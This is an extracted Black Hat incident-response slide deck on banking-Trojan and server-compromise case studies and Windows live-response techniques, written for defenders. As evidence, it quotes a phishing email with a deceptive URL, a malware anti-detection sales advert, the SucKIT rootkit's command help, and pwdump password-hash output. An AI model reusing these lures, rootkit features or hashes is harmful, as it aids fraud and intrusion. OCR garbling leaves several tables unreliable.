Kevin Mandia Red Cliff Consulting

Performing Effective Incident Response

During the course of 2004 and 2005, we have responded to dozens of computer security incidents at some of America's largest organizations. Mr. Mandia was on the front lines assisting these organizations in responding to international computer intrusions, theft of intellectual property, electronic discovery issues, and widespread compromise of sensitive data. Our methods of performing incident response have altered little in the past few years, yet the attacks have greatly increased in sophistication. Mr. Mandia addresses the widening gap between the sophistication of the attacks and the sophistication of the incident response techniques deployed by "best practices."

During this presentation, Mr. Mandia re-enacts some of the incidents; provides examples of how these incidents impacted organizations; and discusses the challenges that each organization faced. He demonstrates the "state-of-the-art" methods being used to perform Incident Response, and how these methods are not evolving at a pace equal to the threats. He outlines the need for new technologies to address these challenges, and what these technologies would offer. He concludes the presentation by discussing emerging trends and technologies that offer strategic approaches to minimize the risks that an organization faces from the liabilities the information age has brought.

Kevin Mandia is an internationally recognized expert in the field of information security. He has been involved with information security for over fifteen years, beginning in the military as a computer security officer at the Pentagon. He has assisted attorneys, corporations, and government organizations with matters involving information security compliance, complex litigation support, computer forensics, expert testimony, network attack and penetration testing, fraud investigations, computer security incident response, and counterintelligence matters. Mr. Mandia established Red Cliff specifically to bring together a core group of industry leaders in this field and solve client's most difficult information security challenges.

Prior to forming Red Cliff, Kevin built the computer forensics and investigations group at Foundstone from its infancy to a multi-million dollar global practice that performed civil litigation support and incident response services. As technical and investigative lead, Mr. Mandia responded on-site to dozens of computer security incidents per year. He assisted numerous financial services and large organizations in handling and discretely resolving computer security incidents. He also led Foundstone's computer forensic examiners in supporting numerous criminal and civil cases. He has provided expert testimony on matters involving theft of intellectual property and international computer intrusion cases.





"They Say"

Every major financial institution has been exploited by attackers.

All outsourced software is being made with backdoors.

Every developed nation is creating cyber-warfare capabilities.

Firewalls, IDS, and Anti-Virus are not as effective as consumers thought.

There are hundreds of non-publicly available exploits in use right now.



CMA ... Of Course



IRC Channel Bots

SubSeven Bot Bionet Bot AttackBot GT Bot EvilBot SlackBot Litmus Bot Fantibag Mitglieder



Why Are We Here?

Initial Detection Discuss Case Studies Examine Emerging Trends Incident Response Host-Based - Review Live Response Techniques Tool Analysis



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BLACK HAT BRIEFINGS



The Journey So Far ...

Year	No	Description	Causes
1993 - 1998	50+	Unix Compromises	Solaris, Irix, HP-UX, AIX Buffer overflows, Sniffers
1998 2002	45	Windows Compromises	IIS Attacks
2003	23	Windows Automated Compromises	Blended, compound attacks. End Users. Wireless???
2004	13	End User Vulnerabilities, Automated Widespread Compromises, Kernel Level Attacks, Counter Forensics.	End Users, Blended / Sophisticated Attack Vectors.
			//

Conclusions

Attacks are Done for Money, Profit, and Gain.

Attacks Continue to Get More Sophisticated.

Difficult to Detect Difficult to Analyze Tools Faster Propagation Tools not Publicly Available

End Users are More at Risk. Shift in Focus from Server Attacks to People and Client-Side Attacks.

Attacks are Originating from Overseas.





Conclusions (Part Deux)

- Wide Gap Between the Sophistication of Attack Tools vs. the Tools Used to Respond.
- 6. Attribution for Attacks is Getting More Difficult:

Fire and Forget Malspreadbotwormkits

7. The Detection Mechanism that Triggers Incident Response Seems to be More Diverse ...



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Conclusions (Part Three)

Organizations are not Performing Effective Incident Response:

Lack of Trained Resources

Lack of Dedicated Resources

Lack of Infrastructure to Compress Timeframe for Data Collection

Lack of Trace Evidence ...



How are Organization's Detecting Incidents?

Antivirus Alerts?

Perhaps, but do not count on it...

Alerts are Often Ignored – and Perhaps Value-less without an In-Depth Review of the System.

Quarantined Files Often Remain a Mystery

- · What were the Circumstances Surrounding the Quarantine?
- Can you Access the Proprietary File Format to Perform Tool Analysis?

Anti-Virus Merely Alerts an Organization that Something Bad Might have Occurred. No Confirmation. Potential Loss of Critical Data

Holy_Father

We're offering anti-detection service for any type of windows modules. There are many ways how to make your module undetected hence you can see below quite complicated price table with examples. To order this service write a mail with full description of what you need to holy_father@phreaker.net. Feel free to write a mail if you're not sure how much would your order cost or if you have special demands (e.g. bypassing any detector that is not in list).

feature	Morphine	Häcker detender	Hacker defender driver	Other (no driver or libraries)	Libraries	Drivers
basic fee	€ 30.00	€ 20	.00 ⁰	€ 15.00	€ 15.00	€ 15.00
morphined ¹	x	+€02.50	x	+€02.50	+€02.50	x
morphined - unique ²	x	+€25.00	x	+€20.00	+€20.00	x
per AV ³	+ € 10.00	+€05.00	+€05.00	+€08.00	+€09.00	+€ 10.00
all AV ³	x	+€25.00	+€30.00	+€30.00	+€35.00	+€40.00
unique version ⁴	+€20.00	+€25.00	+€20.00	x	x	x
source code	+€20.00	+€30.00	+€15.00	– € 10.00 ⁵	– € 10.00 ⁵	– € 10.00 ⁵
no driver	x	+€ 10.00 ⁶	x	x	x	x
special	x	special ⁷	x	x	x	x

How are Organization's Detecting Incidents?



How are Organization's Detecting Incidents?

Service Pack 2 Firewall Alerts? Backdoors are Subverting the TCP/IP Stack.

Clients

More Often than Pro-Active Countermeasures.

Sensors Detecting Unusually High Levels of Network Activity.

End Users

Emerging as a Common Detection Mechanism.



How are End User's Detecting Incidents?

Continual Termination of Antivirus Software. Installing New Applications Simply Does Not Work.

Commonly Used Applications Do Not Run. You Cannot "Save As".

Task Manager Closes Immediately When You Execute It.

How are Er Ir	nd Us ncider	er's [nts?	Detec	tir	ng	
Task Manager	emon.exe	Cygwin				
		Truces Name	Lineshieres	L cou	A stars the set	-
Coile te		Image Name	User Name	CPU	Mem Usage	-
Falls to	2	msmsgs.exe	mandiak	00	8,944 K	
	rilla Firefox	ivpsvmgr.exe	manulak	00	3,752 K	
^ (and the tox	WISPIIS.EXE	mandiak	00	3,724K	
()norato		alg.exe	LUCAL SERVICE	00	3,330 K	
Operate		HorfornEuro	manulak	00	1,710 K	
•		OUTLOOK EVE	mandiak	00	13 612 K	
Droporty	Adobe	wuaudt eve	mandiak	00	4 752 K	
Probeny.	topics.pdf	iPodService eve	SYSTEM	00	3 448 K	
		HorSpan5 eve	mandiak	00	1 132 K	
		POWERPNT EXE	mandiak	00	3 404 K	
		symwsc.exe	SYSTEM	00	3,788 K	-
		CCEVTMGR, EXE	SYSTEM	00	2,268 K	
		wdfmgr.exe	LOCAL SERVICE	00	1,552 K	
	asks for	symicsvc.exe	SYSTEM	00	444 K	
	red.doc	swupdtmr.exe	SYSTEM	00	932 K	
	15.00	NOPDB.exe	SYSTEM	00	3,532 K	
	W 🖆	SMAgent.exe	SYSTEM	00	1,512 K	
		SAVSCAN.EXE	SYSTEM	00	212 K	
	tusRepo	PGPsdkServ.exe	SYSTEM	00	2,460 K	
		NPROTECT.EXE	SYSTEM	00	4,280 K	
		NAVAPSVC.EXE	SYSTEM	00	736 K	
	THE R. L.	palm.exe	mandiak	00	1,628 K	
		TPSMain.exe	mandiak	00	4,156 K	
		PadExe.exe	mandiak	00	3,684 K	
	uatemala	IFNF5.exe	mandiak	00	1,692 K	
	Trip.doc	I ouchED.exe	mandiak	00	1,916 K	
		WINWORD.EXE	mandiak.	00	21,424 K	
	W	Apoint.exe	manqiak	00	4,724K	
		Show processes	from all users		End Proc	ess
	Rent					

How are End User's Detecting Incidents?

The Registry Editor (regedit) Closes Immediately When it is Invoked. The Inability to Connect to <u>www.nai.com</u>, <u>www.mcafee.com</u>, or other Anti-Virus Web Sites. You are Redirected to Other Web Sites like <u>www.google.com</u> When you Attempt to Visit Antivirus Web Sites.





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Incident Detected

In May of 2004, an employee of a consulting firm noticed that \$20,000 had been transferred from her online banking account.

She notified the financial institution, and the financial institution initiated a password change to protect the victim's assets.

An additional \$20,000 was transferred out of the victim's account within a day or so.

The Victim's user ID and Password were compromised on at least two occasions.



Welcome! Please enter your User ID and Security Code to log on.	
User ID Security Code	
ОК	
Customer Service:	
This site requires an SSL compliant browser, and is most secure when using one of the two browsers listed above. See About Security for more information. AOL users may experience minor distortions in the apperance of fonts,table alignment, etc.,but this does not affect system functionality.	3^



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Case Details

The Bank Did a Thorough Scrub of their Network. They Determined They Were not the Source of the Loss of the Victim's Credentials.

> So How Could the Victim Lose Her Credentials?

MS Vulnerabilities





	Citibank phishing email - Micro File Edit View Eavorites Tools	Help 🕜 🔹 🦥 🥂
4	Address	s/allabout/a/citiphish.hti
Г	Citibank phishing en	nail
-	Fears turn to reality Jan 14 2004 A flaw discovered in Internet Explorer in December 2003 has had IT	
	security experts concerned about Microsoft's failure to patch the easy exploit. Now a new phishing email has been released, targeting	Most Recent Articles • <u>Welchi b worm</u> • <u>All Articles</u> • <u>Doomjuice puts squeeze on Micr</u>
	Citibank customers in a clever web fraud that has all the look and feel of a real Citibank site.	About Antivirus Software Subscribe to the Free Newsletter Your Email Address: subscribe

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Enticing Email Message

Dear Citibank Member,

This email was sent by the Citibank server to verify your e-mail address. You must complete this process by clicking on the link below and entering in the small window your Citibank ATM/Debit Card number and PIN that you use on ATM. This is done for your protection -t- because some of our members no longer have access to their email addresses and we must verify it.

To verify your e-mail address and access your bank account, click on the link below. If nothing happens when you click on the link (or if you use AOL)K, copy and paste the link into the address bar of your web browser.

http://www.citibank.com:ac=**piUq3027qcHw003nfuJ2**@sd96V.pIsEm.NeT/3/?<u>3X6CMW2I2uPOVQW</u>

Y-----Thank you for using Citibank! C------

http://www.securityfocus.com/infocus/1745



Evidence

Review the Web Browser History. Focus on "POST" Operations Review the Browser Cache. Interview the Individual.



Data Analysis

Noticed a suspicious file within 5 minutes of examination ...

On April 30, 2004 at 8:45:40AM, the file "sdsini.ini" was created. This text file was a keystroke capture log file.

	Status
05/27/04 05/27/04 04/30/04 05/27/04 edd3d C\WINDOWS\sdsini.ini 09:13:20AM 09:13:20AM 09:13:20AM 48,188 d250d	70ec1a7ee0 1b24404a0df

Data Analysis

Due to the location of the keystroke capture log files in the "C:\Windows" system file area and the fact that they were named with a ".ini" file extension:

The Windows operating system considered each keystroke capture log file a system file.

Therefore, analysis of the Microsoft System Restore Points could be useful.

Partition Code	Туре	Start Sector	Total Sectors	Size
DE 07	DELL	64260	04200 80212545	31.4MB 38.2GB
		erner internet		



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Restore Points

System Restore is a component of Windows XP which allows a user to restore a computer to a previous state, in case a system problem is encountered.

System Restore monitors changes to system files, automatically creating restore points.

These restore points, or snapshots, are created daily, at other significant times, or when a user specifically creates one.

Restore Points
Program Files RECYCLER response System Volume Information
Local Disk (C) C:\System Volume Information is not accessible. Access is denied. OK

Data Analysis

Examination of the restore folder, C:\System Volume Information_restore{62906183-4CC4-4211-9E5C-0D91ECCC7AE7}\, resulted in identification of 25 files containing keystroke logs totaling approximately 400 pages of content.

How the Exploit Occurred

On April 29, 2004 at 6:17:33PM, the Windows diagnostic utility Dr. Watson recorded an "access violation" in Internet Explorer.

File	Last	Last	File
Name	Accessed	Written	Created
C\Documents and Settings\All Users\Application	05/27/04	04/29/04	04/29/04
Data\Microsoft\Dr Watson\user.dmp	08:47:57AM	06:17:33PM	06:17:33PM
C\Documents and Settings\All Users\Application	05/27/04	04/29/04	04/29/04
Data\Microsoft\Dr Watson\drwtsn32.log	08:47:57AM	06:17:33PM	06:17:33PM

How the Exploit Occurred

An "access violation" occurs when a process attempts to access memory already in use by another application.

While not conclusive, this is an indication of possible malicious activity.

How the Exploit Occurred

A portion of the user.dmp file indicated the error was generated while the user of the victim system visited the INBOX mail folder at the URL http://logicmail.logic.bm.

GET/data10.php?info=reply_how=qreply&reply.x=42&passed=mu lti&variable=CvCsPzqsTvC@QyqmXvShN04apvCDPzScs%3B6a 1%3BpYI8FPN8FTsd&variable2=&add2folder=&add2folder_top=L OGICMAIL - Read Message - Microsoft Internet Explorer http://logicmail.logic.bm/emumail.cgi?folder=INBOX&passed=m sg&variable=CvCsPzqsTvC%40QyqmXvShN04apvCDPzScs%3b 6al%3bpYI8FPN8FTsd &user=[441254946882509892[xxxx] HTTP/1.1

User-Agent A-311

Host: www.xxx.xxx.xxx.xxx

Connection: Keep-Alive

How the Exploit Occurred

On April 29, 2004 at 06:13:07PM, the user of Victim Workstation was accessing her Online Mail account:

File	Last Accessed	Last	File
Name		Written	Created
C\Documents and Settings\xxxx\Local Settings\Temporary Internet Files\Content.IE5\I7WJ2BAD\emumail[1].htm	05/27/04 08:48:22AM	04/29/04 06:13:07PM	04/29/04 06:13:07PM

Conclusions

The Trojan performed targeted collection involving keystroke logging to capture credit card numbers, URLs, userids, and passwords.

These keystroke logs were periodically sent to an email server in Europe.

<u>The Trojan uninstalled itself after approximately two</u> weeks of collection, removing its executable components, registry entries, and the keystroke capture log files.

	Trojan Name	Risk Assessment
	MultiDropper-GP	Corporate User : Low
		Home User : Low
Syn	nptoms	
lew	/ files dropped on the targe	et machine
op (of Page	
let	thad Of Infection	
This	multidropper trojan serves tem. It does not self-replic	s only to drop and execute other files on the target ate. Likely distribution channels for this trojan include
ia li oost	RC, via peer-to-peer file-sh tings or email, etc. The file it (eg. NEW_YEAR.EXE)	is likely to be named in order to entice the victim to

27 August 2004

Trojan targets users of British online banks, Sophos warns of latest phishing attack

Experts at Sophos have warned British computer users who bank online about a series of Trojan horses that try and steal financial information.

The Tofger Trojan horses target users of a number of online banks, including Abbey, Barclays, Cahoot, HSBC, Lloyds, NatWest, Nationwide, and Woolwich.

The Trojan horses steal data from online bankers, allowing hackers to empty bank

Running in the background, the Trojan horse monitors hackers to empty bank accounts. hackers to empty bank accounts. online banking website it secretly captures keypresses and takes snapshots of what is displayed on the monitor.

The information is then sent back to the remote hackers, who can use the captured data to break into bank accounts and steal money.

"This is very different from the fraudulent emails which many computer users receive everyday, trying to lure you to a bogus website. This Trojan waits for the customer to visit the real banking website, and then it captures passwords and account information making robbery a breeze," said Graham Cluley, senior technology consultant for Sophos. "Home users and businesses large and small need to protect themselves with up-to-date anti-virus software and take extreme care to ensure their computers are kept free from Trojans like Tofger and other malware."

Sophos recommends companies protect their email with a consolidated solution to thwart the virus and spam threats as well as secure their desktop and servers with automatically updated anti-virus protection. 11 ~



Investigation

Details from Victim Organization:

Initial Detection by a system crash. Key systems compromised. Rogue SSH use detected. Attacker using Valid Credentials. Found two programs on the crashed system that looked suspicious. **Goals of Investigation:** Return to Secured State

- Minimize downtime
- Maintain low profile no disclosure or leaks Determine Initial Point of Entry
- Determine Damage/Data Loss
- Entry Loss



Data Collection

Attacker was using a kernel level tool.

This required us to use Knoppix boot CDs to acquire the evidence we needed.

Only 4-6 forensic duplications were made of known victim systems to attain an attack signature.

11 of 18 servers compromised.

Apache Error Logs

[Sat Jul 12 23:44:26 2004] [error] [client xxx.xxx.xxx] client denied by server configuration: /webtree [Sat Jul 12 23:45:16 2004] [notice] child

pid 15831 exit signal Segmentation fault (11)

[Sat Jul 12 23:45:16 2004] [notice] child
 pid 15830 exit signal Segmentation fault
 (11)

[Sat Jul 12 23:45:17 2004] [notice] child
 pid 10419 exit signal Segmentation fault
 (11)

Finding Intruder's History File

Full Path	Entry Modified	Last Written	Last Accessed
/usr/local/scripts/.bash_his tory	07/12/04 11:50:46PM	07/12/04 11:50:46PM	07/24/04 06:25:17PM
/var/lib/X49/sk	07/12/04	07/12/04	07/24/04
	11:53:59P	11:53:59PM	05:48:54PM
/sbin/mingetty	M 07/12/04	07/12/04	07/24/04
	11:53:59P	11:53:59PM	05:48:54PM
/sbin/mingettyX49	₿7/12/04	07/12/04	07/12/04
	11:53:59P	11:53:59PM	11:53:59PM
	м		

Victim System History File

The following lines were found in victim system's /usr/local/scripts/.bash_history

uname -a; id; w; exit





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SucKIT

<pre>SucKIT v2.0-devel-rc2 <http: hysteria.sk="" sd="" sk=""></http:></pre>
(c) Copyright 2001-2003 sd <sd@hysteria.sk></sd@hysteria.sk>
Use: $./sk$ [C u i s x h v b 1] <arg1> [argN]</arg1>
Cconfigure
uuninstall
iinstall
s
xbox suckit-ed
h <pid>make pid invisible</pid>
v <pid>make pid visible</pid>
b <filename>insert parasite code</filename>
l <host[:port]>login to remote host</host[:port]>
in <> is requiered options, [] are optional
see doc/MANUAL for commands reference



<section-header><section-header><section-header><section-header><text><text><text><text><text><text><text><text><text><text><text><text><text><text><text>



Goals for Responder

Determine the Host-Based signatures of the malware.

Determine the network-based signatures of the attack.

Review What Data may have been Compromised.

Minimize Undue business Disruption and Loss.

Quickly Confirm or Dispel if Trigger is for a Real Incident.

Live Response to the Rescue!!!!







OK HA UU IN



Performing Live Response

echo permissions;access date;access time;modification
date;modification time;change date;change time;user
ownership;group ownership;file size;file name

for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do IF EXIST %%d:\ %IRPATH%\find %%d:/ -printf "%%m;%%Ax;%%AT;%%Tx;%%TT;%%Cx;%%CT;%%U;%%G;%%s;%%p\n"



Determine Signature of Attack





IN



Evidence - psloggedon

PsLoggedOn v1.21 - Logon Session Displayer Copyright (C) 1999-2000 Mark Russinovich SysInternals - www.sysinternals.com

Users logged on locally: 6/5/2003 2:12:04 PM 6/4/2003 9:13:54 AM 4/9/2003 10:18:46 AM 5/13/2003 12:26:24 PM

NAMERICA\BMcNabb NAMERICA\AdminSQL NAMERICA\KPI1 USKP01\Guest

Evidence: Netstat

Review the netstat Output for:

Unknown/Suspicious IP Addresses Connecting to the Victim System.

Suspicious Ports Listening for Connections.



👞 Command P	rompt								
Name	Pid	Pri	Thd	Hnd	Mem	User Time	Kernel Time	Elapsed Time	
Tale	0	0	01	276	10	0:00:00.000	43:30:44.43/	0:00:00.000	
system	709	11	04	2/0	376	0.00.00.015	0.00.00 671	171-49-34 562	
CERCE	800	12	12	682	4716	0.00.18 206	0.03.11 406	171.49.31 952	
winlogon	824	13	10	577	3936	0.00.00 781	0.02.39 234	171.49.31 500	
services	868	0	15	343	4724	0.01.30 703	0:02:33.031	171.49.30 859	
Isass	880	g	18	385	1256	0:00:30.375	0:02:09.281	171:49:30.812	
sychost	1040	8	15	201	4712	0:00:00.937	0:00:02.937	171:49:29.375	
sychost	1116	8	10	419	4336	0:00:04.390	0:00:10.968	171:49:29.093	
sychost	1208	8	74	1647	28620	0:16:49.000	0:13:24.109	171:49:28.953	
sychost	1312	8	4	80	3088	0:00:01.578	0:00:05.781	171:49:28.406	
svchost	1456	8	14	238	4964	0:00:02.546	0:00:02.437	171:49:28.000	
expiorer	10/0	ŏ	1/	555	14032	U:U4:20.404	0:09:37.984	1/1:49:20.0/5	
BRSVC01A	1856	8	3	29	1072	0:00:00.015	0:00:00.031	171:49:26.187	
BRSS01A	1884	8	1	23	1500	0:00:00.906	0:00:00.281	171:49:26.140	
spoolsv	1892	8	17	215	7708	0:00:04.593	0:00:09.250	171:49:26.125	
00THotkey	1944	8	4	72	3680	0:00:00.468	0:00:01.656	171:49:25.765	
hkcmd	1976	8	5	163	5824	0:00:00.171	0:00:02.609	171:49:25.500	
agrsmmsg	1984	8	2	37	1816	0:00:00.156	0:00:00.296	171:49:25.390	
Apoint	1992	8	1	74	5044	0:00:01.500	0:00:07.640	171:49:25.328	
TouchED	2000	8	1	27	1928	0:00:00.031	0:00:00.015	171:49:25.234	
TENE5	2024	8	1	20	1732	0:00:00.015	0:00:00.062	171:49:24.953	
4									• •

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Evidence: Fport

Review the fport Output for:

Open Ports that Should Not be Open. Any Listening Application that You are Unfamiliar with.

Most Valid Applications that Open Ports are Located in the "Winnt" or the "winnt\system32" Directory.

Does Not Appear to Work With Windows XP

FPORT Cannot Report the Full Path Name for Any Application Installed as a Windows Service.

M8 D0	S Promot				
EPont	- u1 31 - TCP.	IP Pro	case t	o Post	Mannen Mi
Convi	ight 2000 by	Founds	tone.	Inc.	happer
http	//www.foundst	tone.co	m		
Secu	ing the dot o	com wor	1d		
Pid	Process		Port	Proto	Path
2	System	->	21	TCP	
125	inetinfo	->	21	TCP	D:\WINNT\System32\inetsrv\inetinfo.exe
24	Kpc55	->	135	TOP	D:\WINNI\System32\Kpc5s.exe
45	System	_<	135	TCP	
64	Buche		1025	TCP	D. NUTNET Sustan 32 Russe ava
27	Sustem	->	1025	TCP	D. WINNI System52 Spessieke
2	Sustem	->	1026	TCP	
125	inetinfo	->	1026	TCP	D:\WINNT\System32\inetsry\inetinfo.exe
2	System	->	1027	TCP	
125	inetinfo	->	1027	TCP	D:\WINNT\System32\inetsrv\inetinfo.exe
144	MSTask	->	1028	TCP	D:\WINNT\system32\MSTask.exe
2	System	->	1028	TCP	
144	MSTask	->	1029	TCP	D:\WINNT\system32\MSTask.exe
2	System	->	1029	TCP	
94	RpcSs	->	1030	TCP	D:\WINNI\system32\RpcSs.exe
5	System		1020	TCP	
162	winnon	->	6000	TCP	D:\UINNT\winnon exe
202	Sustem	->	12346	TCP	
162	winpop	->	12346	TCP	D:\WINNT\winpop.exe
2	System	->	21554	TCP	
199	Windll	->	21554	TCP	D:\WINNT\Windll.exe
94	RpcSs	->	135	UDP	D:\WINNT\system32\RpcSs.exe
2	System	->	135	UDP	
2	System	->	137	UDP	
2	Sustem	->	138	UDP	

Openports

DiamondCS OpenPorts v1.0	(-? for help)		
Copyright (C) 2003, Diamor Free for personal and educ	ndCS - http://www.dia cational use only. Se	mondcs.com.au/openports/	ils.
fice for personal and cau	sacional ase only. of		113.
QUOTEM 543			
SYSTEM L4J	00000	LICTENING	
	0.0.0.0.0	LISTENING	
ccAnn exe [232]	0.0.0.0.0	LISTENING	
TCP 127-0-0-1:1029	0.0.0.0:0	LISTENING	
UjewMar.exe [520]	0101010-0	aro raitrid	
UDP 127.0.0.1:1301	0.0.0.0:0	LISTENING	
lsass.exe [888]			
UDP 0.0.0.0:500	0.0.0.0:0	LISTENING	
UDP 0.0.0.0:4500	0.0.0.0:0	LISTENING	
svchost.exe [1112]			
TCP 0.0.0.0:135	0.0.0.0:0	LISTENING	
suchost.exe [1152]	00000	LICTENTIC	
UDP 127.0.0.1:123	0.0.0.0.0	LISTENING	
UDD 127 0 0 1-2220	000-0	LIGTENING	
0DF 127.0.0.1.2220 suchast ave [1256]	0.0.0.0.0	LISTENING	
	A A A A - A	LISTENING	
UDP 0.0.0.0:1394	0.0.0.0.0	LISTENING	
UDP 0.0.0.0:1123	0.0.0.0.0	LISTENING	
UDP 0.0.0.0:1127	0.0.0.0:0	LISTENING	
UDP 0.0.0.0:1038	0.0.0.0:0	LISTENING	
suchost.exe [1372]			
UDP 127.0.0.1:1900	0.0.0.0:0	LISTENING	
spoolsv.exe [1740]			
UDP 0.0.0.0:1026	0.0.0.0:0	LISTENING	
alg.exe [3776]		T TOTTUTUO	
ICP 127.0.0.1:1035	0.0.0.0:0	LISTENING	
	0 0 0 0 0	LISTENING	
UDP 127 0 0 1-38729	0.0.0.0.0	LISTENING	
001 121.0.0.1.30723	0.0.0.0.0	hioithing	
C:\>_			
C:\>_			

tasklist /SVC

;:\/tasklist /suc		
mage Name	PID	Services
ystem Idle Process	0	N/A
ystem	4	N/A
mss.exe	720	N/A
srss.exe	804	N/A
inlogon.exe	828	N/A
ervices.exe	876	Eventlog, PlugPlay
sass.exe	888	PolicyAgent, ProtectedStorage, SamSs
vchost.exe	1032	DcomLaunch, TermService
vchost.exe	1112	RpcSs
	1152	Ration, EventSystem, FastUserSwitchingCompatibility, helpsvc, HidServ, lanmanserver, lanmanworkstation, Netman, Nla, RasMan, Schedule, seclogon, SENS, SharedAccess, ShellHWDetection, srservice, TapiSrv, Themes, TrkWks, W32Time, winngmt, wscsvc, wuauserv, WZCSUC
vchost.exe	1256	Dnscache
vchost.exe	1372	LmHosts, RemoteRegistry, SSDPSRV, WebClient
SRSUCU1A.EXE	1700	Brother XP spl Service
IRSSU1A.EXE	1732	N/A M

Evidence - Regdump

Review the MRU Files

Last Opened Files Last Searches

Last Commands Executed (Start-> Run)

Review the Startup Registry Keys

Review the Full Path of Applications Executed when A Windows Service is Initiated

Evidence – psservice

```
SERVICE NAME: mediadriver
DISPLAY NAME: Microsoft Windows Mediaplayer
(null)
  TYPE
                    : 10 WIN32 OWN PROCESS
  STATE
                    : 1 STOPPED
  (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
  WIN32 EXIT CODE
                         (0x0)
                    : 0
  SERVICE EXIT CODE : 0
                          (0x0)
  CHECKPOINT
                    : 0x0
  WAIT HINT : 0x0
```



Evidence - RegDump

mediadriver

Type = REG_DWORD 0x00000010 Start = REG_DWORD 0x00000002 ErrorControl = REG_DWORD 0x00000000 ImagePath = REG_EXPAND SZ C:\RECYCLER\Recycled\{F64578FABCD2146FFABB}\dll\svrany.exe DisplayName = Microsoft Windows Mediaplayer ObjectName = LocalSystem Parameters Application = C:\RECYCLER\Recycled\{F64578FABCD2146FFABB}\dll\ioFTPD.exe AppDirectory = C:\RECYCLER\Recycled\{F64578FABCD2146FFABB}\dll Security [17 1]

Evi	dence - psservice
SERVICE_NAME:	ZGBPool
DISPLAY_NAME:	ZGRLOOT
(null) TVDF	· 10 WIN22 OWN DDOCESS
STATE	: 1 STOPPED
(NOT_STOPPA WN)	BLE, NOT_PAUSABLE, IGNORES_SHUTDO
WIN32 EXIT	CODE : 1077 (0x435)
SERVICE EXI	$T_CODE : 0 (0x0)$
CHECKPOINT	- : 0x0
WAIT_HINT	: 0x0



Evidence - regdump

ZGBPool

Type = REG_DWORD 0x00000010 Start = REG_DWORD 0x0000004 ErrorControl = REG_DWORD 0x0000001 ImagePath = REG_EXPAND_SZ X:\WINNT\srvany.exe DisplayName = ZGBPool ObjectName = LocalSystem Parameters Application = x:\winnt\system32\drivers\disdn\temp2\zgbbot\mirc.exe AppParameters = AppDirectory = x:\winnt\system32\drivers\disdn\temp2\zgbbot Security [17 1] Security = REG_BINARY 0x00000b8 0x80140001 0x000000a0 0x000000ac 0x0000014 0x00000030 0x001c0002 0x0000001 0x00148002 0x000fiff 0x0000011 0x0100000 0x0000000 0x00700002 0x0000004 0x00180000 0x000201fd \ 0x0000010 0x05000000 0x00000012

Obtaining the Event Logs

psloglist –s –x security psloglist –s –x application psloglist –s –x system

Evidence: The Event Logs

Application Log

Anti-Virus Records.
SQL Server Records.

System Log

Starting and Stopping (Crashing) of the Web Server.

Security Log

Brute Force Netbios Connections.
Access to Files (when auditing file access).
Policy Changes.
Logins and Logouts.

Detection – Application Log	
005,Application,Norton AntiVirus,ERROR,XXX-XX,Mon Fe 18:15:44 2005,5,None, Virus Found!Virus name Trojan Horse in File: C:\RECYCLER\Recycled\{F64578FABCD2146FFABB}\com1\o gthom\service2.bat by: Realtime Protection scan. Clean failed : Quarantine failed : Access denied	b 21 : Hll\bon Action:
<pre>003,Application,Norton AntiVirus,ERROR,XXX-XX,Mon Fe 18:04:47 2005,5,None, Virus Found!Virus name Trojan Horse in File: C:\RECYCLER\Recycled\{F64578FABCD2146FFABB}\dll\id .bat by: Realtime Protection scan. Action: Clean : Quarantine succeeded : Access denied</pre>	b 21 : oselbst failed
	/



Detection – Application Log

202, Application, DNTUS26, INFORMATION, T SERVER, Thu May 01 00:32:53 2003,0, None, DameWare NT Utilities 2.6 Last Error: 0 The following user has connected via remote console. User: Dentadmin From: NET-UK03

	Evidence -	 Security 	Event	Log
--	------------	------------------------------	-------	-----

4:58:51 PM	8	7	632	
4:58:51 PM	8	7	624	New User
4:58:51 PM	8	7	636	Group
4:58:51 PM	8	7	642	Changed
4:58:51 PM	8	7	642	Changed
4:58:51 PM	8	7	636	Group
4:58:51 PM	8	7	642	Changed
4:58:51 PM	8	7	632	
4:58:51 PM	8	7	624	New User
4:58:51 PM	8	7	642	Changed
4:58:51 PM	8	7	642	Changed
4:58:51 PM	8	7	636	Group
4:58:51 PM	8	7	642	Changed
				\wedge
	4:58:51 PM 4:58:51 PM	4:58:51 PM 8 4:58:51 PM 8	4:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM874:58:51PM87	4:58:51PM876324:58:51PM876244:58:51PM876424:58:51PM876424:58:51PM876364:58:51PM876324:58:51PM876324:58:51PM876244:58:51PM876424:58:51PM876424:58:51PM876424:58:51PM876364:58:51PM876364:58:51PM87642

Reviewing the Security Event Log







Detection - pwdump

Guest:501:192F894733FD82DD417EAF50CFAC29C3:DBF21832F261D90D208821EB90262B43:B uilt-in account for guest access to the computer/domain::

DERINGER\$:1000:48F8334424A89986B212F1B369F32900:730BB14F4D775BDE4C67B6EDAC7F0 3E4:::

IUSR_DERINGER:1001:1319783FF0C685626D4791CFCB4B4707:AFECFE010F830A8A265E3A10A 3498A36:Internet Guest Account,Internet Server Anonymous Access::

IWAM DERINGER:1003:C22DFB14F825464C2276623940D71131:40185B0E548BB4DB5359F4E21
 4839676:Web Application Manager account,Internet Server Web Application
 Manager identity::

bob:1004:4318B176C3D8E3DEAAD3B435B51404EE:B7C899154197E8A2A33121D76A240AB5:Bo b::

spiderman:1005:98CC13F72447D06CAAD3B435B51404EE:ACC5E857C583A070E40A7AE83792C C45:Peter Parker::

MAUSER1\$:1008:D22507430A62B283AAD3B435B51404EE:4167BCD8F39697A3ABC76617094F39 6F:::

HelpDesk:1009:192F894733FD82DD417EAF50CFAC29C3:DBF21832F261D90D208821EB90262B 43:::

HelpAssistant:1010:192F894733FD82DD417EAF50CFAC29C3:DBF21832F261D90D208821EB9 0262B43:::



Additional Information

Pagefile Analysis Dr. Watson Logs Unallocated Space



A Flury of Recent Attacks Demonstrates that Attackers are Turning Off Windows Audit Policies and Deleting the Security Event Log.

Intent / Purpose / Goals Host-Based Evidence is Usually Severely Limited. Dr. Watson Logs PageFile Unalocated Space Often Network Security Monitoring is Needed to Assist in Determining Intent, Purpose, and Goals.

Dr Watson Log

Abc.exe = sniffer from xfocus.org (chinese site). "Sniffing TCP PASSWORD"

0177-	01 0- 4	2 2- F-	E7 40	4 -	4	E 4	E	72	70	72	74	CE	
Ulece//c	0d 0a 4	3 3a 50	5/49	4e -	- 4e	54	50	13	19	13	/4	65	C: WINNT (syste
